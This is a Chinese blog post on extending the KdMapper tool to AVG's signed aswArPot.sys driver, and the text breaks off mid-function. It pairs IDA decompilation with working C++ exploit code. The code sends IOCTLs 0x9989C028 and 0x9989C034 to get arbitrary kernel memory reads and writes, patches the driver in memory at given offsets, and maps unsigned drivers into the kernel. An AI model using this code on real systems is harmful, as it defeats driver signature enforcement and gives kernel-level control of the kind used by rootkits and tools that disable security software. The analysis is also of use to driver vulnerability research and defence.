• KdMapper扩展实现之AVG(aswArPot.sys)


    1.背景

      KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

    2.驱动信息

    驱动名称aswArPot.sys 
    时间戳5FC5F955
    MD5A22626FEBC924EB219A953F1EE2B9600
    文件版本20.10.171.0
    设备名称\\.\avgSP_Avar
    读取内存0x9989C028
    写入内存0x9989C034
    Windows 7支持
    Windows 1022H2(包含) 及以下
    Windows 1122621(包含)及以下

    3.IDA分析

    3.1 入口函数:

    1. NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
    2. {
    3. _security_init_cookie();
    4. return InitializeDriver(DriverObject, RegistryPath);
    5. }
    6. __int64 __fastcall InitializeDriver(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
    7. {
    8. __int64 retaddr; // [rsp+0h] [rbp+0h]
    9. qword_14004D9A8 = retaddr;
    10. return InitializeDriverImpletementation(DriverObject, RegistryPath);
    11. }
    12. __int64 __fastcall InitializeDriverImpletementation(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
    13. {
    14. ULONG MajorVersion; // [rsp+28h] [rbp-E0h] BYREF
    15. ULONG MinorVersion[3]; // [rsp+2Ch] [rbp-DCh] BYREF
    16. struct _OSVERSIONINFOW VersionInformation; // [rsp+38h] [rbp-D0h] BYREF
    17. PsGetVersion(&MajorVersion, MinorVersion, &BuildNumber, 0i64);
    18. dword_14002A214 = MinorVersion[0] | (MajorVersion << 8);
    19. if ( (unsigned int)dword_14002A214 < 0x501 )
    20. return 3221225473i64;
    21. strcpy((char *)&dword_14002A308, "201111");
    22. VersionInformation.dwOSVersionInfoSize = 276;
    23. if ( RtlGetVersion(&VersionInformation) >= 0
    24. && (VersionInformation.dwMajorVersion > 6
    25. || VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion >= 2) )
    26. {
    27. PoolType = 512;
    28. dword_1400289B8 = 0x40000000;
    29. }
    30. sub_140020AB4(RegistryPath);
    31. sub_140020BA0(RegistryPath);
    32. CreateAvarDevice(DriverObject);
    33. sub_140015AF8();
    34. if ( !(unsigned int)CreateDevice(DriverObject) )
    35. sub_140020FA8();
    36. return 0i64;
    37. }

    3.2 创建设备和符号链接

    1. __int64 __fastcall CreateDevice(struct _DRIVER_OBJECT *pDriverObject)
    2. {
    3. const wchar_t *szArPotDeviceName; // rdi
    4. __int64 result; // rax
    5. NTSTATUS ntStatus; // edi
    6. _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-28h] BYREF
    7. _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-18h] BYREF
    8. DriverObject = pDriverObject;
    9. szArPotDeviceName = L"aswSP_ArPot2";
    10. if ( !g_bAswDevice )
    11. szArPotDeviceName = L"avgSP_ArPot2";
    12. _snwprintf(g_szArPotDeviceNameBuffer, 0x1Eui64, L"\\Device\\%s", szArPotDeviceName);
    13. _snwprintf(g_szArPotSymbolicLinkNameBuffer, 0x1Eui64, L"\\DosDevices\\%s", szArPotDeviceName);
    14. RtlInitUnicodeString(&DestinationString, g_szArPotDeviceNameBuffer);
    15. RtlInitUnicodeString(&SymbolicLinkName, g_szArPotSymbolicLinkNameBuffer);
    16. result = IoCreateDeviceSecure(
    17. pDriverObject,
    18. 0,
    19. &DestinationString,
    20. 0x7299u,
    21. 256,
    22. 1,
    23. (PUNICODE_STRING)L"68",
    24. 0i64,
    25. &DeviceObject);
    26. if ( (int)result >= 0 )
    27. {
    28. ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    29. if ( ntStatus >= 0 )
    30. {
    31. memset64(pDriverObject->MajorFunction, (unsigned __int64)MainDispatch, 0x1Cui64);
    32. result = 0i64;
    33. }
    34. else
    35. {
    36. IoDeleteDevice(DeviceObject);
    37. result = (unsigned int)ntStatus;
    38. }
    39. }
    40. return result;
    41. }
    42. __int64 __fastcall CreateAvarDevice(PDRIVER_OBJECT pDriverObject)
    43. {
    44. __int64 result; // rax
    45. const wchar_t *szAvarDeviceName; // r9
    46. __int64 v4; // rcx
    47. __int16 v5; // ax
    48. __int64 v6; // rcx
    49. __int16 v7; // ax
    50. __int64 v8; // rcx
    51. __int16 v9; // ax
    52. __int64 v10; // rcx
    53. char v11; // al
    54. ULONG MajorVersion; // [rsp+58h] [rbp-89h] BYREF
    55. ULONG MinorVersion; // [rsp+5Ch] [rbp-85h] BYREF
    56. _UNICODE_STRING DestinationString; // [rsp+60h] [rbp-81h] BYREF
    57. _UNICODE_STRING SymbolicLinkName; // [rsp+70h] [rbp-71h] BYREF
    58. char v16[16]; // [rsp+80h] [rbp-61h] BYREF
    59. int v17[6]; // [rsp+90h] [rbp-51h]
    60. __int16 v18; // [rsp+A8h] [rbp-39h]
    61. int v19[8]; // [rsp+B0h] [rbp-31h]
    62. __int16 v20; // [rsp+D0h] [rbp-11h]
    63. int v21[9]; // [rsp+D8h] [rbp-9h]
    64. __int16 v22; // [rsp+FCh] [rbp+1Bh]
    65. g_AvarDeviceObject = 0i64;
    66. PsGetVersion(&MajorVersion, &MinorVersion, &g_OsBuildNumber, 0i64);
    67. nOsVersion = MinorVersion | (MajorVersion << 8);
    68. if ( (unsigned int)nOsVersion < 0x500 )
    69. return 0xC0000001i64;
    70. szAvarDeviceName = L"aswSP_Avar";
    71. if ( !g_bAswDevice )
    72. szAvarDeviceName = L"avgSP_Avar";
    73. g_szAvarDeviceName = (__int64)szAvarDeviceName;
    74. _snwprintf(g_szAvarDeviceNameBuffer, 0x1Eui64, L"\\Device\\%s");
    75. _snwprintf(g_szAvarSymbolicLinkNameBuffer, 0x1Eui64, L"\\DosDevices\\%s", g_szAvarDeviceName);
    76. RtlInitUnicodeString(&DestinationString, g_szAvarDeviceNameBuffer);
    77. RtlInitUnicodeString(&SymbolicLinkName, g_szAvarSymbolicLinkNameBuffer);
    78. result = IoCreateDeviceSecure(
    79. pDriverObject,
    80. 0,
    81. &DestinationString,
    82. 0x9988u,
    83. 256,
    84. 0,
    85. (PUNICODE_STRING)L"68",
    86. 0i64,
    87. &g_AvarDevice);
    88. g_ntStatus = result;
    89. if ( (int)result >= 0 )
    90. {
    91. g_ntStatus = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
    92. if ( g_ntStatus >= 0 )
    93. {
    94. g_AvarDeviceObject = g_AvarDevice;
    95. v4 = 0i64;
    96. v19[0] = 'F\0\\';
    97. v19[1] = 7077993;
    98. v19[2] = 7536741;
    99. v19[3] = 7536761;
    100. v19[4] = 6619252;
    101. v19[5] = 6029421;
    102. v19[6] = 7602254;
    103. v19[7] = 7536742;
    104. v20 = 0;
    105. v17[0] = 4456540;
    106. v17[1] = 6881394;
    107. v17[2] = 6619254;
    108. v17[3] = 6029426;
    109. v17[4] = 6881348;
    110. v17[5] = 7012467;
    111. v18 = 0;
    112. v21[0] = 7274569;
    113. v21[1] = 4391014;
    114. v21[2] = 7143535;
    115. v21[3] = 7078000;
    116. v21[4] = 7602277;
    117. v21[5] = 5374053;
    118. v21[6] = 7405669;
    119. v21[7] = 6619253;
    120. v21[8] = 7602291;
    121. v22 = 0;
    122. strcpy(v16, "CLASSPNP.SYS");
    123. do
    124. {
    125. v5 = *(_WORD *)((char *)v19 + v4);
    126. *(_WORD *)(v4 + 0x14004D040i64) = v5;
    127. v4 += 2i64;
    128. }
    129. while ( v5 );
    130. v6 = 0i64;
    131. do
    132. {
    133. v7 = *(_WORD *)((char *)v17 + v6);
    134. *(_WORD *)(v6 + 0x14004D120i64) = v7;
    135. v6 += 2i64;
    136. }
    137. while ( v7 );
    138. v8 = 0i64;
    139. do
    140. {
    141. v9 = *(_WORD *)((char *)v21 + v8);
    142. *(_WORD *)(v8 + 0x14004D3A0i64) = v9;
    143. v8 += 2i64;
    144. }
    145. while ( v9 );
    146. v10 = 0i64;
    147. do
    148. {
    149. v11 = v16[v10];
    150. *(_BYTE *)(v10 + 0x14004D380i64) = v11;
    151. ++v10;
    152. }
    153. while ( v11 );
    154. stru_14004D0E0.Count = 1;
    155. qword_1400289D8 = (__int64)&qword_1400289D0;
    156. qword_1400289D0 = &qword_1400289D0;
    157. stru_14004D0E0.Owner = 0i64;
    158. stru_14004D0E0.Contention = 0;
    159. KeInitializeEvent(&stru_14004D0E0.Event, SynchronizationEvent, 0);
    160. sub_140019CB4();
    161. sub_14001C130();
    162. qword_14004CF40 = (__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _DWORD, _DWORD, _DWORD, _DWORD, _QWORD, _DWORD, _DWORD, _QWORD, _DWORD, _QWORD))sub_14001C7F8(L"IoCreateFileSpecifyDeviceObjectHint");
    163. qword_14004CD60 = sub_14001C7F8(L"IofCallDriver");
    164. sub_14001C7F8(L"IofCompleteRequest");
    165. sub_14001A24C();
    166. sub_14001FC24();
    167. result = 0i64;
    168. }
    169. else
    170. {
    171. IoDeleteDevice(g_AvarDevice);
    172. result = (unsigned int)g_ntStatus;
    173. }
    174. }
    175. return result;
    176. }

      创建设备有两个,需要分析的是 CreateAvarDevice,其创建的设备名是 aswSP_Avar 或 avgSP_Avar,实际中根据驱动安装逻辑创建的是 avgSP_Avar。

    3.3 MainDispatch

    1. NTSTATUS __fastcall MainDispatch(struct _DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
    2. {
    3. struct _DEVICE_OBJECT* pRequestDeviceObject; // rbx
    4. pRequestDeviceObject = pDeviceObject;
    5. ......
    6. if (g_AvarDeviceObject && pDeviceObject == g_AvarDeviceObject)
    7. {
    8. if (pIrp->RequestorMode)
    9. {
    10. if (!pIrp->Tail.Overlay.CurrentStackLocation->MajorFunction)
    11. {
    12. if (CheckAvarDeviceIoControlProcess)
    13. {
    14. v18 = IoGetRequestorProcessId(pIrp);
    15. if (!(unsigned __int8)CheckAvarDeviceIoControlProcess(v18))
    16. {
    17. LABEL_17:
    18. pIrp->IoStatus.Status = 0xC00000BB;
    19. IofCompleteRequest(pIrp, 0);
    20. return 0xC00000BB;
    21. }
    22. }
    23. }
    24. }
    25. result = AvarDeviceMainDispatch((__int64)pRequestDeviceObject, pIrp);
    26. }
    27. else
    28. {
    29. ......
    30. }
    31. return result;
    32. }
    33. __int64 __fastcall AvarDeviceMainDispatch(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
    34. {
    35. _IO_STACK_LOCATION* pIosp; // rcx
    36. IO_STATUS_BLOCK* pIoStatus; // r11
    37. unsigned int ntStatus; // edi
    38. PVOID pInputBuffer; // rdx
    39. PVOID pOutputBuffer; // r9
    40. __int64 nInputBufferLength; // r8
    41. int nIoControlCode; // er10
    42. pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
    43. pIoStatus = &pIrp->IoStatus;
    44. ntStatus = 0;
    45. pIrp->IoStatus.Information = 0i64;
    46. pInputBuffer = pIrp->AssociatedIrp.SystemBuffer;
    47. pIoStatus->Status = 0;
    48. pOutputBuffer = pInputBuffer;
    49. nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
    50. nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
    51. if (pIosp->MajorFunction == 2)
    52. {
    53. sub_140019B60(pIosp, pInputBuffer, nInputBufferLength, pInputBuffer);
    54. sub_140017CF8(&dword_14004D440);
    55. }
    56. else if (pIosp->MajorFunction == 14)
    57. {
    58. if ((nIoControlCode & 3) == 3)
    59. pOutputBuffer = pIrp->UserBuffer;
    60. ntStatus = AvarDeviceIoControl(
    61. pIosp->FileObject,
    62. pInputBuffer,
    63. nInputBufferLength,
    64. pOutputBuffer,
    65. pIosp->Parameters.DeviceIoControl.OutputBufferLength,
    66. nIoControlCode,
    67. pIoStatus,
    68. pDeviceObject);
    69. }
    70. IofCompleteRequest(pIrp, 0);
    71. return ntStatus;
    72. }
    73. __int64 __fastcall AvarDeviceIoControl(PFILE_OBJECT pFileObject, PVOID pInputBuffer, unsigned int nInputBufferLength, PVOID pOutputBuffer, unsigned int nOutputBufferLength, int nIoControlCode, IO_STATUS_BLOCK* pIoStatus, PDEVICE_OBJECT pDeviceObject)
    74. {
    75. ......
    76. NTSTATUS ntStatusV44; // eax
    77. if (nIoControlCode != 0x9988C044)
    78. {
    79. ......
    80. switch (nIoControlCode)
    81. {
    82. ......
    83. default:
    84. ntStatusV44 = AvarDefaultDeviceIoControl(
    85. pFileObject,
    86. (ASWARPOT_COPY_MEMORY_INFO*)pInputBuffer,
    87. nInputBufferLength,
    88. pOutputBuffer,
    89. nOutputBufferLength,
    90. nIoControlCode,
    91. pIoStatus);
    92. goto LABEL_215;
    93. }
    94. ntStatusV44 = 0xC0000206;
    95. goto LABEL_215;
    96. }
    97. return result;
    98. }
    99. __int64 __fastcall AvarDefaultDeviceIoControl(PFILE_OBJECT pFileObject, ASWARPOT_COPY_MEMORY_INFO* pInputBuffer, unsigned int nInputBufferLength, PVOID pOutputBuffer, ULONG nOutputBufferLength, int nIoControlCode, IO_STATUS_BLOCK* pIoStatus)
    100. {
    101. size_t nInputBufferLengthV8; // r13
    102. _OWORD* nOutputBufferV9; // r15
    103. PVOID P[4]; // [rsp+50h] [rbp-378h] BYREF
    104. P[2] = pInputBuffer;
    105. nInputBufferLengthV8 = nInputBufferLength;
    106. nOutputBufferV9 = pOutputBuffer;
    107. P[3] = pOutputBuffer;
    108. P[1] = pIoStatus;
    109. LODWORD(P[0]) = 0;
    110. if (nIoControlCode != 0x9989C020)
    111. {
    112. switch (nIoControlCode)
    113. {
    114. ......
    115. case 0x9989C028:
    116. if (nInputBufferLength < 8 || !pInputBuffer)// 读取内存
    117. {
    118. result = 0xC0000206i64;
    119. pIoStatus->Status = 0xC0000206;
    120. return result;
    121. }
    122. if (nOutputBufferLength < 4 || !pOutputBuffer)
    123. {
    124. result = 0xC0000206i64;
    125. pIoStatus->Status = 0xC0000206;
    126. return result;
    127. }
    128. P[0] = pInputBuffer->ReadSourceAddress;
    129. if (MmIsAddressValid(P[0]) && MmIsAddressValid((char*)P[0] + nOutputBufferLength))
    130. {
    131. CopyMemoryWithSourceMdl(nOutputBufferV9, P[0], nOutputBufferLength);
    132. pIoStatus->Information = nOutputBufferLength;
    133. pIoStatus->Status = 0;
    134. return 0i64;
    135. }
    136. pIoStatus->Status = 0xC000000D;
    137. break;
    138. case 0x9989C034:
    139. if (nInputBufferLength >= 0x18 && pInputBuffer)// 写入内存
    140. {
    141. if (MmIsAddressValid(pInputBuffer->DestinationAddress)
    142. && MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size))// 这里应该是 + pInputBuffer->Size -1
    143. {
    144. CopyMemoryWithDestinaionMdl(pInputBuffer->DestinationAddress, pInputBuffer->Buffer, pInputBuffer->Size);
    145. pIoStatus->Status = 0;
    146. pIoStatus->Information = 0i64;
    147. result = 0i64;
    148. }
    149. else
    150. {
    151. result = 0xC000000Di64;
    152. pIoStatus->Status = 0xC000000D;
    153. pIoStatus->Information = 0i64;
    154. }
    155. }
    156. else
    157. {
    158. result = 0xC0000206i64;
    159. pIoStatus->Status = 0xC0000206;
    160. }
    161. return result;
    162. case 0x9989C02C:
    163. ......
    164. }
    165. return sub_1400182E8(
    166. (__int64)pFileObject,
    167. (unsigned int*)pInputBuffer,
    168. nInputBufferLengthV8,
    169. nOutputBufferV9,
    170. nOutputBufferLength,
    171. nIoControlCode,
    172. pIoStatus);
    173. }
    174. return result;
    175. }

      其中 0x9989C028 是读取内存,0x9989C034为写入内存。

      代码第 132 行内容为   if (nOutputBufferLength < 4 || !pOutputBuffer),此处限制每次读取的大小为一个 ULONG,如果读取的字节数小于 4 个字节需要转换一下,参见《4.1 读取内存限制》

      代码第 152 行为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size),这里应该为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size-1),前者的逻辑使用期间会超出指定的地址范围,如果范围之外的内存页是无效的话就会导致验证失败。相关修改参见《4.2 写入内存地址范围验证》

     3.4 CopyMemoryWithSourceMdl

    1. __int64 __fastcall CopyMemoryWithSourceMdl(PVOID DestinationAddress, void* SourceAddress, ULONG nSize)
    2. {
    3. char bLockedPages; // si
    4. PMDL pMDL; // rax
    5. _MDL* pMdl2; // rdi
    6. PVOID pMappedAddress; // r14
    7. unsigned int ntSatus; // ebx
    8. KIRQL oldSpinLock; // bl
    9. KSPIN_LOCK SpinLock[6]; // [rsp+38h] [rbp-30h] BYREF
    10. bLockedPages = 0;
    11. pMDL = IoAllocateMdl(SourceAddress, nSize, 0, 0, 0i64);
    12. pMdl2 = pMDL;
    13. SpinLock[1] = (KSPIN_LOCK)pMDL;
    14. if (!pMDL)
    15. return 0xC000009Ai64;
    16. if ((pMDL->MdlFlags & 7) == 0)
    17. {
    18. MmProbeAndLockPages(pMDL, 0, IoModifyAccess);
    19. bLockedPages = 1;
    20. }
    21. pMappedAddress = MmMapLockedPagesSpecifyCache(pMdl2, 0, MmCached, 0i64, 0, dword_1400289B8 | 0x10u);
    22. if (pMappedAddress)
    23. {
    24. SpinLock[0] = 0i64;
    25. oldSpinLock = KeAcquireSpinLockRaiseToDpc(SpinLock);
    26. memmove(DestinationAddress, pMappedAddress, nSize);
    27. KeReleaseSpinLock(SpinLock, oldSpinLock);
    28. ntSatus = 0;
    29. MmUnmapLockedPages(pMappedAddress, pMdl2);
    30. }
    31. else
    32. {
    33. ntSatus = 0xC000009A;
    34. }
    35. if (bLockedPages)
    36. MmUnlockPages(pMdl2);
    37. IoFreeMdl(pMdl2);
    38. return ntSatus;
    39. }

       其中第 19 行为 MmProbeAndLockPages(pMDL, 0, IoModifyAccess), 第三个参数应应该为 IoReadAceess,否则在映射不可写内存时会导致失败。相关修改参见《4.3 锁定页面参数修改》

    3.5 CopyMemoryWithDestinaionMdl

    1. __int64 __fastcall CopyMemoryWithDestinaionMdl(void* DestinationAddress, PVOID SourceAddress, ULONG nSize)
    2. {
    3. char bLockedPages; // si
    4. PMDL pMdl; // rax
    5. _MDL* pMdlMapped; // rdi
    6. PVOID pMappedAddress; // r14
    7. unsigned int ntStatus; // ebx
    8. KIRQL oldSpinLock; // bl
    9. KSPIN_LOCK SpinLock[6]; // [rsp+38h] [rbp-30h] BYREF
    10. bLockedPages = 0;
    11. pMdl = IoAllocateMdl(DestinationAddress, nSize, 0, 0, 0i64);
    12. pMdlMapped = pMdl;
    13. SpinLock[1] = (KSPIN_LOCK)pMdl;
    14. if (!pMdl)
    15. return 0xC000009Ai64;
    16. if ((pMdl->MdlFlags & 7) == 0)
    17. {
    18. MmProbeAndLockPages(pMdl, 0, IoModifyAccess);
    19. bLockedPages = 1;
    20. }
    21. pMappedAddress = MmMapLockedPagesSpecifyCache(pMdlMapped, 0, MmCached, 0i64, 0, dword_1400289B8 | 0x10u);
    22. if (pMappedAddress)
    23. {
    24. SpinLock[0] = 0i64;
    25. oldSpinLock = KeAcquireSpinLockRaiseToDpc(SpinLock);
    26. memmove(pMappedAddress, SourceAddress, nSize);
    27. KeReleaseSpinLock(SpinLock, oldSpinLock);
    28. ntStatus = 0;
    29. MmUnmapLockedPages(pMappedAddress, pMdlMapped);
    30. }
    31. else
    32. {
    33. ntStatus = 0xC000009A;
    34. }
    35. if (bLockedPages)
    36. MmUnlockPages(pMdlMapped);
    37. IoFreeMdl(pMdlMapped);
    38. return ntStatus;
    39. }

       其中第 19 行为 MmProbeAndLockPages(pMDL, 0, IoModifyAccess), 第三个参数应应该为 IoReadAceess,否则在映射不可写内存时会导致失败。相关修改参见《4.3 锁定页面参数修改》

    3.6 _ASWARPOT_COPY_MEMORY_INFO结构体

    1. 00000000 _ASWARPOT_COPY_MEMORY_INFO struc ; (sizeof=0x18, align=0x8, copyof_400)
    2. 00000000 ReadSourceAddress dq ? ; offset
    3. 00000008 DestinationAddress dq ? ; offset
    4. 00000010 Size dd ?
    5. 00000014 Buffer db 4 dup(?)
    6. 00000018 _ASWARPOT_COPY_MEMORY_INFO ends

    4.相关逻辑分析及修改

    4.1 读取内存限制

      在《3.3 MainDispatch》代码第 132 行内容为   if (nOutputBufferLength < 4 || !pOutputBuffer),此处限制每次读取的大小为一个 ULONG,如果读取的字节数小于 4 个字节需要转换一下,

      实现代码如下:

    1. #define ASWARPOT_DEVICE_TYPE (DWORD)0x9989
    2. #define ASWARPOT_READ_MEMORY_FUNCID (DWORD)0x300A
    3. #define IOCTL_ASWARPOT_READ_MEMORY \
    4. CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C028
    5. typedef struct _ASWARPOT_COPY_MEMORY_INFO
    6. {
    7. PVOID ReadSourceAddress;
    8. PVOID DestinationAddress;
    9. ULONG Size;
    10. BYTE Buffer[4];
    11. }ASWARPOT_COPY_MEMORY_INFO, *PASWARPOT_COPY_MEMORY_INFO;
    12. bool avg_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size) {
    13. ASWARPOT_COPY_MEMORY_INFO info = { 0 };
    14. bool bResult = false;
    15. info.ReadSourceAddress = (PVOID)address;
    16. ULONG ulData = 0;
    17. if (size < 4)
    18. {
    19. bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), &ulData, 4);
    20. if (!bResult)
    21. {
    22. Log(L"[-] ReadMemory 1 failed\r\n");
    23. }
    24. else
    25. {
    26. RtlCopyMemory(buffer, &ulData, size);
    27. }
    28. }
    29. else
    30. {
    31. bResult = SuperCallDriver(device_handle, IOCTL_ASWARPOT_READ_MEMORY, &info, sizeof(info), buffer, size);
    32. if (!bResult)
    33. {
    34. Log(L"[-] ReadMemory 2 failed\r\n");
    35. }
    36. }
    37. return bResult;
    38. }

    4.2 写入内存地址范围验证

      在《3.3 MainDispatch》代码第 152 行为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size),这里应该为 MmIsAddressValid((char*)pInputBuffer->DestinationAddress + pInputBuffer->Size-1),前者的逻辑使用期间会超出指定的地址范围,如果范围之外的内存页是无效的话就会导致验证失败。

      实际使用过程中要我们分配目标驱动内存并写入数据时会导致验证失败,这时我们可以将分配的内存扩大,实际复制数据时使用原始大小,修改后的相关代码如下:

    1. uint64_t kdmapper::MapDriver(HANDLE iqvw64e_device_handle, BYTE* data, ULONG64 param1, ULONG64 param2, bool free, bool destroyHeader, bool mdlMode, bool PassAllocationAddressAsFirstParam, mapCallback callback, NTSTATUS* exitCode)
    2. {
    3. ......
    4. void* local_image_base = VirtualAlloc(nullptr, image_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    5. if (!local_image_base)
    6. return 0;
    7. DWORD TotalVirtualHeaderSize = (IMAGE_FIRST_SECTION(nt_headers))->VirtualAddress;
    8. image_size = image_size - (destroyHeader ? TotalVirtualHeaderSize : 0);
    9. uint64_t kernel_image_base = 0;
    10. uint64_t mdlptr = 0;
    11. //因为校验时的边界设置错误,故分配时的大小加一个页面,使用时按原大小
    12. if (mdlMode) {
    13. kernel_image_base = AllocMdlMemory(iqvw64e_device_handle, image_size + 0x1000, &mdlptr);
    14. }
    15. else {
    16. kernel_image_base = avg_driver::AllocatePool(iqvw64e_device_handle, nt::POOL_TYPE::NonPagedPool, image_size+0x1000);
    17. }
    18. ......
    19. }

    4.3 锁定页面参数修改

      在《3.4 CopyMemoryWithSourceMdl》《3.5 CopyMemoryWithDestinaionMdl》 中 MmProbeAndLockPages 第三个参数为 IoModifyAccess,即 2,这样会导致映射不可写内存页面时失败,应该改为IoReadAccess,也即为 0。其实在之后调用 MmMapLockedPagesSpecifyCache 后,内存已经变为可读可写了,之前的 MmProbeAndLockPages 第三个参数为 IoReadAccess就可以了。 

    4.3.1 CopyMemoryWithSourceMdl 修改 

      IDA 定位如下:

    1. .text:000000014001DD97 loc_14001DD97: ; DATA XREF: .rdata:0000000140027550↓o
    2. .text:000000014001DD97 33 D2 xor edx, edx ; AccessMode
    3. .text:000000014001DD99 44 8D 42 02 lea r8d, [rdx+2]
    4. .text:000000014001DD9D 48 8B CF mov rcx, rdi ; MemoryDescriptorList
    5. .text:000000014001DDA0 FF 15 BA 62 00 00 call cs:MmProbeAndLockPages

      可以修改 lea r8d, [rdx+2] 为  lea r8d, [rdx] 即可,即使将 000000014001DD99 处的机器码修改为 44 80 42 00,也即将 000000014001DD9C 对应的字节改为 0。 

      000000014001DD9C 处对应的的虚拟地址偏移量可用 StudyPE 查询,如下:

      

      即驱动基址加 0x1DD9C 处字节修改为0。

    4.3.2 CopyMemoryWithDestinaionMdl 修改

      IDA 定位如下:

    1. .text:000000014001DEB3 loc_14001DEB3: ; DATA XREF: .rdata:000000014002757C↓o
    2. .text:000000014001DEB3 33 D2 xor edx, edx ; AccessMode
    3. .text:000000014001DEB5 44 8D 42 02 lea r8d, [rdx+2] ; Operation
    4. .text:000000014001DEB9 48 8B CF mov rcx, rdi ; MemoryDescriptorList
    5. .text:000000014001DEBC FF 15 9E 61 00 00 call cs:MmProbeAndLockPages

      可以修改 lea r8d, [rdx+2] 为  lea r8d, [rdx] 即可,即使将 000000014001DEB5 处的机器码修改为 44 80 42 00,也即将 000000014001DEB8 对应的字节改为 0。 

      000000014001DEB8 处对应的的虚拟地址偏移量可用 StudyPE 查询,如下:

      

      即驱动基址加 0x1DEB8 处字节修改为0。

    4.3.3 相关代码

    1. #define READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET (0x1dd9c)
    2. #define WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET (0x1deb8)
    3. bool avg_driver::PatchDriver(HANDLE device_handle)
    4. {
    5. BYTE byData = 0;
    6. uint64_t driverBase = utils::GetKernelModuleAddress(driver_name);
    7. if (driverBase == 0) {
    8. Log(L"[-] Failed to get driver:" << driver_name << std::endl);
    9. avg_driver::Unload(device_handle);
    10. return false;
    11. }
    12. //将对应读写内存 MmProbeAndLockPages(pMdl, 0, IoModifyAccess); 第三个参数改为 IoReadAccess
    13. uint64_t patchReadAddress = driverBase + READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
    14. if (!WriteMemory(device_handle, patchReadAddress, &byData, 1))
    15. {
    16. Log(L"[-] Failed to Write Memory In Patch Driver 1" << std::endl);
    17. avg_driver::Unload(device_handle);
    18. return false;
    19. }
    20. uint64_t patchWriteAddress = driverBase + WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET;
    21. if (!WriteMemory(device_handle, patchWriteAddress, &byData, 1))
    22. {
    23. Log(L"[-] Failed to Write Memory In Patch Driver 2" << std::endl);
    24. avg_driver::Unload(device_handle);
    25. return false;
    26. }
    27. Log(L"[+] PatchDriver OK!\r\n");
    28. return true;
    29. }

    5.完整关键代码

      头文件

    1. #define ASWARPOT_DEVICE_TYPE (DWORD)0x9989
    2. #define ASWARPOT_READ_MEMORY_FUNCID (DWORD)0x300A
    3. #define ASWARPOT_WRITE_MEMORY_FUNCID (DWORD)0x300D
    4. #define IOCTL_ASWARPOT_READ_MEMORY \
    5. CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_READ_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C028
    6. #define IOCTL_ASWARPOT_WRITE_MEMORY \
    7. CTL_CODE(ASWARPOT_DEVICE_TYPE, ASWARPOT_WRITE_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9989C034
    8. #define READ_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET (0x1dd9c)
    9. #define WRITE_PROBE_AND_LOCK_PAGES_OPERATION_OFFSET (0x1deb8)
    10. typedef struct _ASWARPOT_COPY_MEMORY_INFO
    11. {
    12. PVOID ReadSourceAddress;
    13. PVOID DestinationAddress;
    14. ULONG Size;
    15. BYTE Buffer[4];
    16. }ASWARPOT_COPY_MEMORY_INFO, *PASWARPOT_COPY_MEMORY_INFO;

      CPP文件

    1. NTSTATUS avg_driver::SuperCallDriverEx(
    2. _In_ HANDLE DeviceHandle,
    3. _In_ ULONG IoControlCode,
    4. _In_ PVOID InputBuffer,
    5. _In_ ULONG InputBufferLength,
    6. _In_opt_ PVOID OutputBuffer,
    7. _In_opt_ ULONG OutputBufferLength,
    8. _Out_opt_ PIO_STATUS_BLOCK IoStatus)
    9. {
    10. IO_STATUS_BLOCK ioStatus;
    11. NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
    12. NULL,
    13. NULL,
    14. NULL,
    15. &ioStatus,
    16. IoControlCode,
    17. InputBuffer,
    18. InputBufferLength,
    19. OutputBuffer,
    20. OutputBufferLength);
    21. if (ntStatus == STATUS_PENDING) {
    22. ntStatus = NtWaitForSingleObject(DeviceHandle,
    23. FALSE,
    24. NULL);
    25. }
    26. if (IoStatus)
    27. *IoStatus = ioStatus;
    28. if (!NT_SUCCESS(ntStatus))
    29. {
    30. Log(L"[-] SuperCallDriverEx failed, code:0x" << std::setbase(16) << std::setw(8) << std::setfill(L'0') << ntStatus << std::endl);
    31. }
    32. return ntStatus;
    33. }
    34. BOOL avg_driver::SuperCallDriver(
    35. _In_ HANDLE DeviceHandle,
    36. _In_ ULONG IoControlCode,
    37. _In_ PVOID InputBuffer,
    38. _In_ ULONG InputBufferLength,
    39. _In_opt_ PVOID OutputBuffer,
    40. _In_opt_ ULONG OutputBufferLength)
    41. {
    42. BOOL bResult;
    43. IO_STATUS_BLOCK ioStatus;
    44. NTSTATUS ntStatus = SuperCallDriverEx(
    45. DeviceHandle,
